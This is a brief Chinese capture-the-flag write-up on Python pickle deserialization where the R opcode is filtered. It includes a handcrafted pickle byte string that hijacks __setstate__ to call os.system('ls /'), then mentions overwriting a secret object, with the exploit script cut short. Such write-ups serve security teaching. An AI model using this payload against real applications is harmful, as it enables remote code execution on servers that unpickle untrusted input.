过滤了R
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
一开始考虑RCE
1 | b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameq\x03X\x14\x00\x00\x00\xe4\xb8\x80\xe7\xbb\x99\xe6\x88\x91\xe5\x93\xa9giaogiaoq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00Giaoq\x06ub.' |
提示global XX,应该是因为raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
,后来考虑改写secret对象
secret.py
1 | secret = {'name':'xx','category':'yy'} |
exp.py
1 | import pickle |
base64编码即可